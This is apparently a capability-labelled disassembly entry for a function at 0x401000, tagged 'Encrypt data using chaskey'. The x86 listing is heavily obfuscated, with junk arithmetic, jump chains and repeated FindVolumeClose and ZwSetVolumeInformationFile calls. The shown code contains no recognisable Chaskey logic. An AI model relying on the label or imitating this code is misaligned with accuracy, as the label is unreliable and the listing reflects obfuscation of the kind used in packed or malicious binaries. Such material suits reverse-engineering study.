Function at 0x401000
Capabilities:
Encrypt data using chaskey

Disassembly:
mov edx, esi
shl ebx, 0xf
sub edx, 0x578ca896
shr esi, 0x14
add ebx, 0x578d279a
inc edx
mov ecx, esi
mov ebx, 0x578ddc7a
call sub.user32.dll_GetDoubleClickTime
ror esi, 0x13
add ecx, 0x578e7aec
mov edx, ecx
or ebx, esi
mov ecx, 0x578f2e9d
xor ebx, esi
mov ecx, edx
cmp eax, 0xffffff14
jne 0x4010cf
call sub.kernel32.dll_FindVolumeClose
call sub.kernel32.dll_FindVolumeClose
call sub.ntdll.dll_ZwSetVolumeInformationFile
call sub.ntdll.dll_ZwSetVolumeInformationFile
call sub.kernel32.dll_FindVolumeClose
call sub.ntdll.dll_ZwSetVolumeInformationFile
call sub.ntdll.dll_ZwSetVolumeInformationFile
call sub.kernel32.dll_FindVolumeClose
call sub.kernel32.dll_FindVolumeClose
call sub.ntdll.dll_ZwSetVolumeInformationFile
call sub.ntdll.dll_ZwSetVolumeInformationFile
call sub.ntdll.dll_ZwSetVolumeInformationFile
call sub.kernel32.dll_FindVolumeClose
call sub.ntdll.dll_ZwSetVolumeInformationFile
call sub.ntdll.dll_ZwSetVolumeInformationFile
call sub.kernel32.dll_FindVolumeClose
call sub.kernel32.dll_FindVolumeClose
call sub.kernel32.dll_FindVolumeClose
call sub.kernel32.dll_FindVolumeClose
call sub.ntdll.dll_ZwSetVolumeInformationFile
call sub.kernel32.dll_FindVolumeClose
call sub.kernel32.dll_FindVolumeClose
call sub.ntdll.dll_ZwSetVolumeInformationFile
call sub.kernel32.dll_FindVolumeClose
call sub.ntdll.dll_ZwSetVolumeInformationFile
call sub.kernel32.dll_FindVolumeClose
call sub.ntdll.dll_ZwSetVolumeInformationFile
call sub.kernel32.dll_FindVolumeClose
ret
xchg edx, esi
mov ecx, edx
xchg ecx, esi
xor ecx, 0x5794c01d
and esi, ecx
and ecx, edx
call sub.user32.dll_GetDoubleClickTime
rol edx, 1
add edx, ebx
or esi, 0x57975704
mov esi, 0x5797c032
xchg ebx, edx
rol esi, 5
sub ecx, 0x57996aa2
cmp eax, 0xfffffeef
jne 0x401160
call sub.ntdll.dll_ZwSetVolumeInformationFile
call sub.ntdll.dll_ZwSetVolumeInformationFile
call sub.kernel32.dll_FindVolumeClose
call sub.kernel32.dll_FindVolumeClose
call sub.kernel32.dll_FindVolumeClose
call sub.ntdll.dll_ZwSetVolumeInformationFile
call sub.ntdll.dll_ZwSetVolumeInformationFile
call sub.kernel32.dll_FindVolumeClose
call sub.ntdll.dll_ZwSetVolumeInformationFile
call sub.ntdll.dll_ZwSetVolumeInformationFile
call sub.ntdll.dll_ZwSetVolumeInformationFile
call sub.kernel32.dll_FindVolumeClose
call sub.kernel32.dll_FindVolumeClose
call sub.kernel32.dll_FindVolumeClose
call sub.kernel32.dll_FindVolumeClose
call sub.ntdll.dll_ZwSetVolumeInformationFile
call sub.ntdll.dll_ZwSetVolumeInformationFile
ret
and edx, esi
and ecx, esi
add edx, 0x579cc775
xchg edx, ebx
ror ebx, 8
call main
xor edx, ebx
xor ebx, edx
or ebx, ecx
ror ecx, 9
cmp eax, 0xfffffee0
jne 0x401215
call sub.ntdll.dll_ZwSetVolumeInformationFile
call sub.ntdll.dll_ZwSetVolumeInformationFile
call sub.kernel32.dll_FindVolumeClose
call sub.kernel32.dll_FindVolumeClose
call sub.kernel32.dll_FindVolumeClose
call sub.ntdll.dll_ZwSetVolumeInformationFile
call sub.kernel32.dll_FindVolumeClose
call sub.kernel32.dll_FindVolumeClose
call sub.kernel32.dll_FindVolumeClose
call sub.kernel32.dll_FindVolumeClose
call sub.kernel32.dll_FindVolumeClose
call sub.kernel32.dll_FindVolumeClose
call sub.kernel32.dll_FindVolumeClose
call sub.ntdll.dll_ZwSetVolumeInformationFile
call sub.kernel32.dll_FindVolumeClose
call sub.kernel32.dll_FindVolumeClose
call sub.kernel32.dll_FindVolumeClose
call sub.kernel32.dll_FindVolumeClose
call sub.ntdll.dll_ZwSetVolumeInformationFile
call sub.ntdll.dll_ZwSetVolumeInformationFile
call sub.ntdll.dll_ZwSetVolumeInformationFile
call sub.ntdll.dll_ZwSetVolumeInformationFile
call sub.kernel32.dll_FindVolumeClose
call sub.ntdll.dll_ZwSetVolumeInformationFile
call sub.kernel32.dll_FindVolumeClose
call sub.kernel32.dll_FindVolumeClose
call sub.ntdll.dll_ZwSetVolumeInformationFile
call sub.kernel32.dll_FindVolumeClose
ret
jmp 0x4940dd
xor esi, edx
xor ecx, edx
jmp 0x495661
push 0x58b32bfa
inc edx
xor edx, esi
shr edx, 0xc
xor edx, esi
add edx, edi
xor ecx, edx
mov ecx, esi
sub ecx, esi
and ecx, esi
xchg esi, edi
xor edi, 0x5c13a925
rol edx, 0x1f
ror edx, 0xa
and ecx, esi
jmp 0x496f26
pop ebx
xor edx, esi
sub ecx, 0x5c19d34d
mov edi, edx
or esi, edi
add esi, edi
and edi, edx
shl edx, 0xd
xor edi, esi
mov edx, 0x5c1b84c6
jmp 0x49627b
push 0x58c1a8ec
xor esi, edx
bswap esi
or edi, 0x5c1c54a8
xor ecx, esi
neg esi
xor esi, edx
sub edi, edx
or esi, 0x5c1d923c
jmp 0x4953d2
push 0x58b86034
and edx, 0x5c21fb16
neg edi
or ecx, edi
and ecx, esi
xor edi, 0x5c22fb6f
xor edx, 0x5c2338c0
jmp 0x495e58
push 0x58bf946e
shr edx, 0x13
and esi, 0x5c2a38af
or ecx, esi
mov edx, ecx
dec esi
add esi, edi
sub edi, ecx
jmp 0x496a78
pop ebx
rol esi, 0x1c
xor ecx, edi
and edx, esi
inc ecx
add edx, 0x5c41b240
or edx, edi
jmp 0x4958d8
pop ebx
and ecx, esi
sub ecx, esi
add edi, edx
add edi, edx
inc edi
rol esi, 0x10
not edi
dec ecx
and edi, ecx
sub esi, edx
jmp 0x496673
push 0x58bc4a6d
xchg esi, edi
or edx, edi
and ecx, edi
sub ecx, 0x5c48eb51
add edi, ecx
mov edi, edx
ror edx, 0x1f
add edi, edx
and edi, 0x5c4a25c7
and edx, ecx
shl edx, 0x11
sub ecx, edx
jmp 0x495c9a
pop ebx
not edx
dec edi
mov ecx, edi
add esi, ecx
add edi, edx
neg edx
add ecx, 0x5c4ca4cc
or esi, edx
or ecx, esi
or ecx, edx
xor esi, edx
xchg edi, ecx
jmp 0x4944c6
mov ebx, 0x2774562b
mov edx, edi
and esi, 0x5c4e5cfc
xor esi, edx
inc esi
add edx, edi
add edi, 0x5c4f5271
add esi, edi
add esi, edi
inc esi
xchg edi, ecx
inc esi
mov edi, edx
xor ecx, esi
and esi, edi
or esi, 0x5c518453
jmp 0x4946f9
push 0x58b48358
or edi, esi
or ecx, 0x5c57f7ab
sub edx, esi
and edx, esi
xor edx, 0x5c58adc9
add ecx, edi
dec ecx
add edx, esi
inc esi
mov edx, 0x5c59e611
or esi, ecx
rol edi, 0x1b
jmp 0x495772
pop ebx
or edx, ecx
ror edx, 0xb
and ecx, edx
and esi, ecx
ror edx, 0x13
xor ecx, edx
shr edx, 0x13
xchg esi, edi
and edi, 0x5c5cabd2
xor esi, ecx
or edx, ecx
xchg edx, edi
or esi, edi
mov esi, 0x5c5dda14
jmp 0x495acc
pop ebx
shl ecx, 0x1e
xor edi, 0x5c6128f4
or ecx, edx
mov edx, edi
add ecx, esi
inc edi
jmp 0x495cfa
push 0x58bccfbb
or edx, 0x5c62742d
bswap ecx
shr esi, 0x19
or edi, edx
xor ecx, esi
xor esi, 0x5c63b405
neg edi
sub ecx, edx
add edx, edi
jmp 0x49508d
push 0x58bfecc9
xor ecx, esi
inc esi
or ecx, 0x5c653cdd
xor edi, edx
sub esi, edx
and ecx, edi
xor edi, esi
add edx, ecx
or edi, esi
or esi, 0x5c66ee66
jmp 0x49538b
call fcn.00496fb3
sub ecx, edx
mov edi, edx
xchg esi, ecx
add ecx, edi
and ecx, esi
and edx, 0x5c7be1d5
add edx, ecx
and edi, edx
jmp 0x495be7
mov ebx, 0x2774562b
add ecx, 0x5c85920b
dec ecx
dec edx
bswap edx
sub edx, ecx
sub edi, esi
inc edx
ror esi, 2
shr edx, 3
jmp 0x494e6e
call fcn.00496fb3
ror edx, 4
sub edi, ecx
bswap edi
add ecx, esi
or edx, 0x5c8c153a
and edi, ecx
rol esi, 0x17
sub edi, edx
and esi, ecx
ror esi, 0xf
sub edx, esi
sub ecx, esi
mov edi, 0x5c8e0639
shr ecx, 0x15
jmp 0x49497a
pop ebx
add esi, 0x5c92ad93
mov edi, edx
sub esi, ecx
or ecx, edi
add edx, esi
shr esi, 8
add edx, ecx
bswap esi
xchg edx, edi
or ecx, esi
add edi, edx
sub ecx, edx
jmp 0x495909
push 0x58b45616
and edi, edx
shr edi, 6
mov esi, 0x5ca3444a
xor edi, esi
add esi, ecx
or esi, ecx
mov esi, edx
mov ecx, esi
xchg edx, edi
shl edi, 0xb
mov edi, 0x5ca5351f
shr edi, 1
jmp 0x494442
push 0x58b65a11
add esi, edx
sub edx, esi
sub esi, edi
sub edx, esi
or edi, 0x5ca6b70f
mov esi, 0x5ca6ff44
mov edx, ecx
mov esi, 0x5ca776c3
not edi
inc edi
jmp 0x4958c2
call ebx
sub edi, edx
rol esi, 0x10
nop
and ecx, 0x5cbd134d
xor edi, edx
xchg ecx, esi
xchg ecx, edx
jmp 0x494ae1
push 0x58bc1e4b
mov esi, edi
shr ecx, 8
mov edx, 0x5ccd9a62
rol ecx, 0x17
and edi, 0x5cce193f
not edi
sub edx, esi
inc esi
dec edx
mov esi, 0x5ccf5b16
bswap ecx
and ecx, 0x5ccff4ba
jmp 0x49437d
pop ebx
and edx, 0x5cd053aa
xchg esi, ecx
sub esi, edi
mov esi, ecx
add edx, esi
add esi, ecx
xor edi, ecx
bswap edi
mov esi, edi
mov ecx, edi
mov ecx, esi
mov edx, ecx
jmp 0x49446e
pop ebx
xchg edi, edx
or ecx, esi
xor edx, edi
neg edx
xor esi, 0x5cd76e84
bswap ecx
rol edx, 0x1b
xchg esi, edx
nop
and esi, 0x5cd8b003
jmp 0x494322
push 0x58c1246a
xor ecx, esi
add ecx, edx
bswap ecx
rol edi, 4
rol esi, 0x12
rol edi, 3
xor ecx, edi
or ecx, edi
sub esi, edx
mov ecx, esi
and edx, 0x5cdb7702
shr edi, 3
jmp 0x496ad1
push 0x58be5c4d
xor edx, edi
add edi, 0x5cdc463a
add ecx, 0x5cdc8418
add edi, 0x5cdcc5da
sub edi, 0x5cdd02d3
xor esi, ecx
or edi, ecx
and edi, esi
add ecx, edi
jmp 0x494e8f
push 0x58b6ae92
add edx, esi
sub ecx, 0x5cde8c74
xchg esi, edx
xor edi, ecx
bswap ecx
inc ecx
or edx, esi
mov ecx, edx
or edx, 0x5ce0473b
mov edx, esi
rol esi, 0xa
sub edx, ecx
and esi, edx
mov edx, 0x5ce19aed
ror edi, 0x1c
xor esi, ecx
jmp 0x496d33
push 0x58b63178
add edx, 0x5ce268ef
or esi, 0x5ce2a66f
rol edx, 0x10
ror edx, 0x10
bswap edx
mov esi, edi
ror edx, 0x16
add edx, ecx
sub edi, esi
add esi, ecx
jmp 0x494843
call fcn.00496fb3
xor esi, edx
xor esi, ecx
inc ecx
sub edi, ecx
sub esi, edx
or edi, edx
xchg ecx, edx
sub edx, ecx
xor edi, edx
xor edx, edi
or esi, 0x5ced9528
xchg esi, ecx
add ecx, edi
jmp 0x495ccd
push 0x58ad9bcf
rol edi, 0x19
mov esi, edx
add edx, ecx
and edi, esi
ror edx, 0x1f
xor edx, esi
neg ecx
or esi, ecx
mov edx, esi
jmp 0x4954b3
call ebx
ror esi, 4
xchg ecx, edi
or edi, edx
inc edi
nop
neg esi
bswap esi
xor edx, edi
or edi, 0x5d1115a9
mov esi, 0x5d1153b3
not edx
sub ecx, edx
ror edi, 0x11
add edi, esi
or edi, esi
jmp 0x495447
pop ebx
and edi, edx
add edi, 0x5d13155e
sub edi, ecx
mov ecx, edx
xor edx, ecx
jmp 0x494a67
call fcn.00496fb3
xchg esi, ecx
add ecx, edx
ror esi, 0xc
xor esi, edx
xor edx, edi
xor edi, 0x5d1fcccb
sub edx, edi
and ecx, edx
add ecx, esi
jmp 0x49662e
push 0x58be881a
add esi, edx
and edi, 0x5d210e99
xor esi, ecx
xor ecx, edi
xchg esi, edx
add edi, ecx
xor edx, esi
mov ecx, edx
and edx, esi
mov ecx, esi
jmp 0x49579c
push 0x58b0fcbf
xchg ecx, edi
and ecx, esi
and ecx, edx
and edx, ecx
mov edi, ecx
add edx, edi
jmp 0x495d37
call ebx
add esi, edx
not edi
mov edi, edx
add esi, ecx
shl esi, 0x18
xor edx, 0x5d3f4d08
shr ecx, 7
sub ecx, esi
inc ecx
and ecx, edi
add edi, esi
xor edi, esi
mov ecx, edi
add esi, edi
mov edi, ecx
xor ecx, esi
jmp 0x49414a
push 0x58b8b670
or ecx, edi
xor edx, edi
ror edi, 3
mov esi, edx
xchg edi, esi
inc edi
add edi, edx
or edx, edi
rol edx, 0x1c
and esi, edi
jmp 0x496319
mov ebx, 0x123b2f04
add esi, edi
xor edi, ecx
add esi, 0x5d4506bf
xor edi, ecx
shl edx, 0x18
xor edi, esi
xchg ecx, edi
xor edi, 0x5d463c30
rol esi, 0x1e
add esi, edi
mov edx, ecx
and edi, edx
mov edx, 0x5d477786
xor edx, edi
sub edx, 0x5d47f2d0
and ecx, edi
jmp 0x496e27
push 0x58ba68a2
xor edx, edi
ror esi, 7
bswap edi
rol edi, 2
not edx
or edx, ecx
jmp 0x495c78
pop ebx
xor esi, edx
add ecx, edx
mov edi, edx
and edx, ecx
xchg edx, esi
bswap esi
add ecx, edi
xor edx, esi
and ecx, edi
dec ecx
jmp 0x495a33
mov ebx, 0x2774562b
or edx, ecx
xchg edi, edx
xor ecx, edx
mov edx, ecx
sub edx, edi
and edx, esi
jmp 0x496895
pop ebx
and edi, 0x5d7cfdf6
xchg ecx, edx
mov edx, edi
inc edi
rol edi, 0x12
ror ecx, 3
not edx
mov esi, edi
and edi, edx
sub ecx, 0x5d7f33cc
xchg esi, edx
xor edi, edx
xor edx, 0x5d7fed0a
xor edx, edi
add ecx, edx
jmp 0x494a97
mov ebx, 0x123b2f04
neg edi
xor edx, ecx
and ecx, esi
and edi, esi
dec esi
mov edi, esi
xchg edi, ecx
ror edx, 4
mov esi, ecx
or ecx, 0x5d82ec40
jmp 0x4954a2
push 0x58ad70bb
inc edi
xor edi, esi
xor edi, edx
shl ecx, 4
or edx, esi
or edx, edi
add ecx, edi
xchg edi, edx
and edx, esi
neg edx
neg ecx
jmp 0x494c4b
pop ebx
and esi, ecx
not edi
or edx, ecx
mov ecx, esi
sub edi, edx
or edx, edi
mov edx, 0x5d8c50e2
rol ecx, 0x17
add edx, ecx
or esi, ecx
or esi, 0x5d8d576e
bswap ecx
mov edx, esi
jmp 0x496e8e
call fcn.00496fb3
xchg edi, ecx
inc esi
xchg edi, ecx
xchg edx, edi
bswap esi
bswap esi
jmp 0x496d61
call fcn.00496fb3
dec edx
and esi, 0x5d92fae8
jmp loc.0049585a
push 0x58adc309
or esi, edi
mov edx, edi
not edi
not edi
xor ecx, edi
neg edx
or edi, edx
jmp 0x496d9f
pop ebx
xor edx, edi
or esi, 0x5daf6371
sub edx, edi
xchg edi, ecx
mov ecx, edi
rol edx, 0x1d
xor esi, edi
xchg edi, ecx
xor edi, 0x5db11acf
inc edi
or ecx, 0x5db1988f
jmp 0x494fdc
push 0x58ad105f
or ecx, edx
add edi, esi
xor esi, edi
sub edi, esi
add ecx, edi
and esi, ecx
or esi, 0x5db37a9b
mov edi, esi
or edx, 0x5db3f511
jmp 0x496985
mov ebx, 0x2774562b
xor edi, 0x5db44b64
mov esi, ecx
mov esi, edx
and esi, edx
or edi, 0x5db53bc1
sub edi, 0x5db5bef5
sub edi, ecx
nop
mov edi, 0x5db67b56
xor edi, edx
xor esi, ecx
jmp 0x495838
pop ebx
mov ecx, esi
sub ecx, edx
bswap edi
dec ecx
sub edx, edi
or edx, esi
and ecx, edx
sub esi, 0x5db8fa0e
mov esi, edx
jmp 0x496c62
pop ebx
not edx
add edx, 0x5dbdfe71
mov edx, 0x5dbe3c36
ror esi, 6
shr edx, 0x19
not edi
bswap edi
jmp 0x4968db
push 0x58b4adc3
or esi, edi
rol edx, 6
shr esi, 1
add edi, ecx
xor ecx, edx
mov edx, esi
jmp 0x497006
mov ebx, 0x2774562b
xchg edi, esi
dec ecx
shl esi, 0x15
sub ecx, esi
mov edx, esi
xor esi, edx
xor edx, ecx
neg esi
not edi
and edi, ecx
xchg ecx, edi
xor edi, ecx
add esi, 0x5dca4cb8
jmp 0x49548d
mov ebx, 0x2774562b
neg edx
sub ecx, edi
sub ecx, 0x5dd1b424
add edx, edi
jmp 0x496f7a
call fcn.00496fb3
or edi, esi
and ecx, edi
shr esi, 0xc
or ecx, esi
and edx, ecx
and edi, 0x5dd37c64
not edx
or edi, esi
rol ecx, 0x11
jmp 0x4964a5
push 0x58b68441
and edx, esi
bswap esi
add esi, ecx
mov ecx, edx
or esi, edi
not edi
jmp 0x494b59
pop ebx
sub edi, 0x5ddd4dee
xor ecx, edi
not edx
jmp 0x495c08
pop ebx
add edx, ecx
or ecx, 0x5de0b417
xchg edi, edx
mov edi, ecx
sub esi, 0x5de16d07
inc esi
ror esi, 2
sub ecx, 0x5de22b18
add ecx, 0x5de27306
jmp 0x496ccd
call ebx
add edx, esi
or ecx, esi
add edx, ecx
sub ecx, esi
add edx, edi
not edx
jmp 0x4953a1
push 0x58ba15aa
and ecx, 0x5dea2b6a
add edx, 0x5dea68b1
and esi, edi
neg edi
and ecx, 0x5deb22c5
xor ecx, 0x5deb63fe
or ecx, 0x5deba152
dec edx
neg edx
rol edx, 0x1d
mov esi, 0x5deca61a
sub edx, edi
or edi, edx
xor edi, edx
jmp 0x496718
pop ebx
or esi, edx
shr edi, 3
xor esi, edi
mov esi, edx
not ecx
sub edx, ecx
shr edi, 0xd
xor ecx, 0x5def72e8
not esi
neg esi
jmp 0x494b03
pop ebx
sub edx, ecx
add edx, 0x5df6f984
sub edx, esi
sub esi, edi
add ecx, 0x5df86db7
add ecx, edi
add edi, 0x5df9aab0
xchg edx, edi
and esi, edx
not edi
jmp 0x49643b
push 0x58b9e923
neg esi
sub esi, ecx
sub edi, esi
add ecx, edx
shl edi, 0x17
xchg esi, ecx
neg edi
add edi, esi
and esi, edx
jmp 0x49599e
call ebx
xor edi, 0x5e1df427
xchg esi, edx
xor ecx, edi
or esi, 0x5e1f4a9c
and ecx, 0x5e1fc3b8
and edi, edx
shr esi, 0x1b
inc esi
xchg ecx, edi
jmp 0x494760
call ebx
add ecx, edx
and esi, 0x5e279eac
inc edx
and edi, edx
xor ecx, edx
mov esi, ecx
sub edi, ecx
add edx, esi
shr ecx, 0x1c
xor edx, edi
xchg ecx, edx
jmp 0x496759
pop ebx
mov edi, 0x5e2a9912
inc ecx
mov esi, ecx
dec edx
add edx, 0x5e2b9889
rol edx, 0x18
xchg edi, esi
add ecx, edi
inc edx
xchg ecx, edx
jmp 0x496086
push 0x58ba95ea
shr edi, 9
xchg ecx, edx
sub edi, ecx
sub ecx, esi
rol edx, 1
mov edx, edi
mov edi, esi
mov edx, esi
or esi, ecx
and edi, ecx
mov esi, ecx
jmp 0x4946ac
push 0x58bc77da
bswap edx
or edx, edi
xor esi, ecx
and edx, ecx
and ecx, edi
sub esi, ecx
jmp 0x496297
call ebx
rol edi, 5
sub edi, edx
and esi, 0x5e3a1f51
xor edx, edi
or edi, esi
sub ecx, edi
sub ecx, edx
or esi, 0x5e3b50ed
inc edx
shr edi, 0x16
neg esi
xor edi, ecx
shr esi, 0x14
sub edi, esi
jmp 0x495639
pop ebx
sub edi, ecx
dec ecx
xor edi, ecx
or ecx, edx
xchg edi, esi
add edx, ecx
bswap edx
jmp 0x494b8f
push 0x58b129dc
xor edx, esi
shl esi, 7
sub esi, 0x5e42d5ce
or edx, edi
mov edx, esi
xchg edi, ecx
and esi, edx
bswap esi
jmp 0x496ba6
pop ebx
xor edx, edi
sub edi, edx
add esi, edi
add esi, edi
sub edx, ecx
and edx, edi
or ecx, 0x5e4aa8ef
or edx, 0x5e4ae646
jmp 0x496feb
call fcn.00496fb3
ror esi, 0x1b
mov esi, 0x5e4f29ee
xor edi, ecx
sub edi, esi
or ecx, 0x5e4fe0ad
xor edx, 0x5e5021c7
add esi, ecx
mov ecx, edi
add edx, ecx
xor edx, esi
shl esi, 2
sub edx, esi
or edx, ecx
ror ecx, 0x12
sub edi, esi
jmp 0x495042
push 0x58b88ca3
or ecx, edi
and ecx, esi
ror esi, 0xb
shl esi, 6
xor ecx, esi
or esi, 0x5e5a2686
and edi, edx
add ecx, 0x5e5aa061
shl esi, 1
or edi, ecx
inc ecx
sub esi, ecx
add edx, esi
shr edx, 3
xchg edx, ecx
jmp 0x49506e
pop ebx
dec ecx
or edx, edi
neg edi
xchg esi, edi
add esi, ecx
shl edi, 4
xor ecx, 0x5e5f0f81
sub esi, edx
jmp 0x494b2d
mov ebx, 0x123b2f04
xor ecx, edx
inc edx
xchg edx, edi
and ecx, edi
xchg esi, ecx
xor ecx, 0x5e6c27fa
add ecx, esi
add esi, edx
add esi, edi
or ecx, esi
xor edx, ecx
dec ecx
jmp 0x494611
pop ebx
shr edx, 0xc
or edi, edx
and esi, ecx
or ecx, edx
sub edi, ecx
add edx, 0x5e7038be
mov ecx, 0x5e70a4cb
sub esi, edx
jmp 0x495d91
pop ebx
rol edi, 1
and edx, ecx
not edx
and ecx, edi
neg esi
or esi, ecx
xor esi, edi
jmp 0x4956b3
pop ebx
sub ecx, esi
xor esi, 0x5e7f35b4
neg edi
dec edx
shr edx, 4
xor edx, 0x5e803a8b
jmp 0x496514
pop ebx
xor esi, edx
or ecx, edi
bswap edi
xor edx, 0x5e843818
not ecx
dec esi
neg esi
jmp 0x4940e6
mov ebx, 0x2774562b
shr esi, 5
or esi, edi
not edx
or edx, ecx
add esi, 0x5e8f973e
and edx, 0x5e8fd4dc
sub edx, ecx
or ecx, edi
jmp 0x494c09
call fcn.00496fb3
or esi, 0x5e9eff90
xor esi, 0x5e9f3d0f
not edi
not edx
or ecx, edx
or edx, esi
add edi, esi
jmp 0x495953
pop ebx
mov esi, ecx
or edx, ecx
and esi, 0x5eaa39b2
ror edi, 0x15
neg edi
ror ecx, 1
or ecx, edi
add esi, ecx
jmp 0x494818
push 0x58bca2a1
or edi, 0x5eabf07f
and ecx, esi
shl edi, 9
not edi
mov edi, edx
xor edx, esi
shr edx, 2
and esi, edx
sub esi, ecx
and edi, edx
jmp 0x4944dc
mov ebx, 0x2774562b
add esi, ecx
rol ecx, 4
nop
xchg ecx, edi
and edi, edx
and esi, 0x5eb58b49
mov esi, edx
xor edi, ecx
xor edi, 0x5eb64b6f
add ecx, edx
and esi, ecx
jmp 0x496214
pop ebx
and ecx, 0x5ec83154
or esi, edi
jmp 0x495e9f
pop ebx
or edi, edx
and edx, 0x5ecb0754
shr ecx, 0xb
or edx, esi
add esi, edi
neg edi
mov esi, edi
or edi, 0x5eccaf99
neg edi
dec edi
and edx, 0x5ecd6c05
or ecx, 0x5ecdad70
xor edx, 0x5ecdedb5
or esi, edx
add ecx, 0x5ece697d
jmp 0x49570d
call ebx
mov edx, 0x5ed176d4
bswap esi
xchg ecx, esi
and edi, esi
add edi, esi
and ecx, esi
jmp 0x495ff9
push 0x58b1a5b0
xor edi, ecx
xor edi, esi
or ecx, esi
mov esi, edi
ror edx, 0x10
xor esi, ecx
sub esi, edx
mov edx, ecx
add edi, 0x5ed8ddeb
neg ecx
mov esi, ecx
and ecx, esi
jmp 0x4943ca
pop ebx
sub edx, edi
add edi, esi
neg ecx
rol edx, 0x10
jmp 0x4959db
pop ebx
neg ecx
or esi, edx
xchg edi, ecx
rol ecx, 0xb
mov edi, ecx
nop
or ecx, edi
add edi, esi
mov ecx, esi
neg edi
jmp 0x495f8f
call ebx
xchg ecx, esi
xchg edx, edi
xchg esi, ecx
sub esi, 0x5eef5e4a
and edx, 0x5eefa905
or ecx, edx
xor edx, esi
and edx, 0x5ef06128
or edx, ecx
mov esi, edx
jmp 0x496562
pop ebx
mov edi, edx
xor edx, 0x5ef3b02f
not edx
ror ecx, 5
bswap edi
xor edx, edi
mov ecx, edx
add edx, 0x5ef530d0
shr ecx, 2
or ecx, 0x5ef5b106
inc esi
add ecx, 0x5ef62e27
xor ecx, edx
jmp 0x494230
push 0x58ba3f31
sub esi, edx
mov edi, edx
xchg edi, edx
xchg edx, ecx
inc edi
add ecx, esi
xor edx, ecx
xchg edi, edx
add esi, 0x5f0062e3
not edx
xor ecx, edx
xor edx, edi
or esi, edi
jmp 0x4951c8
pop ebx
shr ecx, 0x1f
or edx, esi
sub esi, ecx
and esi, edx
sub esi, edi
mov esi, 0x5f042f88
and edx, ecx
sub ecx, edi
jmp 0x4943a9
call fcn.00496fb3
mov ecx, edi
or ecx, edx
xchg edx, edi
xor ecx, 0x5f1c06bf
xor esi, ecx
mov edi, 0x5f1c8313
add edi, edx
jmp 0x496e47
push 0x58c17c6e
add edi, esi
neg esi
sub esi, edx
xor ecx, edx
sub ecx, esi
xor esi, 0x5f1e4c10
mov edx, edi
or ecx, esi
shl edi, 0x1e
add esi, 0x5f1f43f4
jmp 0x49416a
pop ebx
mov edx, esi
shl ecx, 0x18
and edx, 0x5f200d4f
sub ecx, esi
jmp 0x4969e8
mov ebx, 0x123b2f04
sub edx, esi
xchg edi, edx
dec edi
xor ecx, edi
or edx, edi
bswap esi
mov edi, ecx
ror edi, 0x10
jmp 0x495dda
push 0x58ad4699
and edx, esi
or edi, edx
xchg esi, edi
mov edi, 0x5f2e4a52
or ecx, 0x5f2ed936
xchg edx, edi
dec ecx
shl edx, 3
mov edi, 0x5f323615
jmp 0x495427
push 0x58af488c
mov edx, edi
or esi, edx
bswap ecx
mov edx, edi
add esi, ecx
xchg edi, ecx
and esi, edx
and edi, 0x5f3a2ce8
add esi, edx
mov edx, 0x5f3aa7ab
xchg edi, edx
dec edi
rol ecx, 0x10
bswap ecx
jmp 0x495822
push 0x58bfc3be
ror edx, 0x15
xchg edi, edx
xchg ecx, esi
sub edx, 0x5f44d436
shl edx, 6
jmp 0x494501
push 0x58c1539d
xor ecx, edi
add ecx, edx
add edx, ecx
sub edx, 0x5f4b28d4
mov esi, 0x5f4b6627
xor edx, 0x5f4ba6dd
sub edi, ecx
sub ecx, edx
bswap edi
shr esi, 4
jmp 0x4968b4
push 0x58b15043
xor ecx, edi
and edi, 0x5f599f72
xchg ecx, esi
sub edx, 0x5f5a1a0e
add esi, ecx
add ecx, esi
inc edi
or edi, ecx
and edi, esi
add edi, 0x5f5b90ce
mov edi, 0x5f5bceaa
or ecx, 0x5f5c0c14
add edi, esi
jmp 0x496d01
call fcn.00496fb3
sub esi, ecx
not edi
add ecx, edx
shr edi, 9
and edx, esi
ror edx, 0x11
mov ecx, edx
xor esi, edi
xchg ecx, edi
jmp 0x496ef5
pop ebx
sub edi, edx
shr ecx, 0xf
xchg esi, edx
mov ecx, edi
and ecx, esi
or edx, ecx
or ecx, edx
xor edx, 0x5f694eec
xor esi, 0x5f698f83
add esi, edi
jmp 0x496f0e
pop ebx
dec esi
xor esi, edx
and esi, 0x5f708366
and ecx, edi
xor ecx, esi
add edx, esi
or edx, 0x5f71756f
sub ecx, edx
and edx, 0x5f71f847
xchg edi, esi
or edi, esi
or edi, esi
or esi, edx
mov esi, 0x5f732de3
add edx, ecx
and edi, esi
jmp 0x496417
push 0x58b17b01
xor esi, 0x5f73f499
xchg esi, edx
bswap edx
jmp 0x4964ed
push 0x58b6d8bf
dec edi
dec ecx
or esi, 0x5f77599f
or esi, ecx
sub esi, edi
or edx, ecx
and edx, ecx
add ecx, edi
xchg esi, ecx
and edx, edi
mov ecx, 0x5f794589
xor edx, 0x5f7985ce
ror edi, 3
jmp 0x495685
call ebx
xor esi, 0x5f7a19c5
xchg edx, edi
and edi, ecx
or esi, edx
or edx, ecx
mov ecx, 0x5f7b5061
or edx, 0x5f7baefc
add ecx, esi
mov ecx, edi
dec ecx
or esi, edx
ror edi, 4
mov ecx, 0x5f7d1c44
jmp 0x494338
mov ebx, 0x123b2f04
add edx, edi
xchg esi, ecx
not ecx
add ecx, esi
mov edi, edx
inc edx
xchg edi, esi
xchg esi, edi
add edi, ecx
jmp 0x496c25
call fcn.00496fb3
and esi, edx
ror ecx, 0x1c
or esi, edi
not edi
bswap esi
mov esi, edx
or ecx, edi
xchg edi, edx
neg ecx
and esi, edx
inc ecx
jmp 0x495ba0
call ebx
xchg esi, edi
inc edx
xor ecx, 0x5f8b5c0e
and edx, esi
mov ecx, edx
not esi
ror esi, 0x19
bswap edx
shl esi, 6
neg edi
jmp 0x496041
push 0x58b02305
not edi
inc edi
inc esi
and edi, ecx
neg edx
xchg esi, edx
add edi, ecx
sub edi, edx
sub esi, edi
sub edi, ecx
jmp 0x496112
pop ebx
inc edi
xor edx, 0x5f95a9b7
rol edi, 7
sub esi, ecx
mov edi, 0x5f96634c
mov ecx, 0x5f96a118
sub ecx, 0x5f96de4c
rol ecx, 6
inc esi
xchg ecx, edx
add ecx, 0x5f97e7db
or esi, edx
jmp 0x4941c1
call ebx
mov esi, edi
sub ecx, edi
xor edi, esi
xor edx, esi
and esi, 0x5f9962c6
xor edx, edi
mov esi, edx
jmp 0x49531b
pop ebx
add edx, esi
add edi, esi
xchg edx, edi
dec edx
xchg edi, ecx
and edx, esi
bswap ecx
ror edx, 0x10
add ecx, edi
jmp 0x496ec5
push 0x58b354e2
mov edi, 0x5f9c9e63
mov edx, 0x5f9cdf6c
or ecx, 0x5f9d1c36
nop
xchg ecx, edi
